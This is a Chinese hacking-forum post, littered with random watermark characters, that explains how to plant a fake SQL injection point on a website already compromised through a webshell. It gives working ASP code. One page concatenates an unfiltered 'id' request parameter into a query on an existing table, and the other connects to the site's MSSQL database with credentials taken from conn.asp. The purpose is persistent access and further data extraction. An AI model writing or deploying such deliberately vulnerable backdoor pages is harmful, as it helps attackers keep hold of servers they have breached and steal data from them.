自己构造注入点方便入侵# x7 D1 W1 J8 J1 T" t) i) u0 N
" b0 T9 d" g' ]4 Q今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息+ T. ^% S2 d5 o- n5 g0 @
: L" f9 Z; Y- e" `! U1 _6 I- u这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
, z! H5 p* z" S! V1 L M- \ Z. F/ ?6 x" ?$ [$ b
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
; ~' ~, Q# Z1 P: H- N
6 ]5 Z4 H, A: [! Y5 e" y9 v密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
: [3 k# R/ F1 x! t6 }# r' z% U" Q, R' y) O$ C$ N- [4 N1 x
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:& ~$ Y+ r, R* w2 I3 n$ s% o
6 ^8 } M# J* d t: ~; l
程序代码
! L0 M- h T; f/ P* ^ F# B<!--#include file="xx.asp"-->
& F5 U+ a. n$ a2 k0 P5 v5 z8 p<%
* Q+ E" p* ]' {; V. x, d e Lset rs=server.createobject("ADODB.recordset")
5 g& T$ K# s$ U" J9 A" did = request("id"), Z7 c3 S z# B/ o J( C7 D
strSQL = "select * from admin where id=" & id
- Q0 @" J6 _, @1 @* w, O+ |1 rrs.open strSQL,conn,1,3; H* C6 ^; [1 i
rs.close0 H3 O1 i" ?) F6 G
%>( [0 \! h! S* d# l9 N6 q" f# ^9 c
6 a; d# s6 v. }: Q5 n' a0 ?) d5 C
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在! P9 O. N2 y" g! ?3 A
: L2 V. Y/ b! w+ \) }1 b# j. X你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!4 m/ S& _: A5 I9 ]2 }- H5 k
3 z ` ` j9 z) D然后就要构造一个连接数据库的文件了,代码如下:! a) c* N+ T' {" A S
程序代码
! @( Y! c* A' ]- P<%
7 h& X5 o% E4 ^1 l" `. PstrSQLServerName = "000.000.000.000" '服务器名称或地址7 t x0 i' J1 K9 T
strSQLDBUserName = "sqlname" '数据库帐号; V9 W) y& v' M2 K- ?" v8 h" O
strSQLDBPassword = "sqlpass" '数据库密码
- j x+ e& Q. I6 b- c5 KstrSQLDBName = "sqldataname" '数据库名称% u2 M0 B" ]2 C$ x1 R
Set conn = Server.CreateObject("ADODB.Connection")
2 Y. w) J, p# bstrCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"4 R# Z k# c; b
conn.open strCon' N3 B$ H8 m/ k+ I* V) J
%>! U7 n: u2 l' [
2 s# X$ G5 b9 {
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,, |, I8 M( s! K( ], d0 s
6 Q( p2 h- B f$ o
就这样,正常情况下,就OK了,伪造成功……
/ f; Y* V- k" ^3 C1 G4 f. i9 N2 j$ c# g( ~# @, Z' C9 @7 l
如果有什么问题可以提出来大家一起探讨解决。 |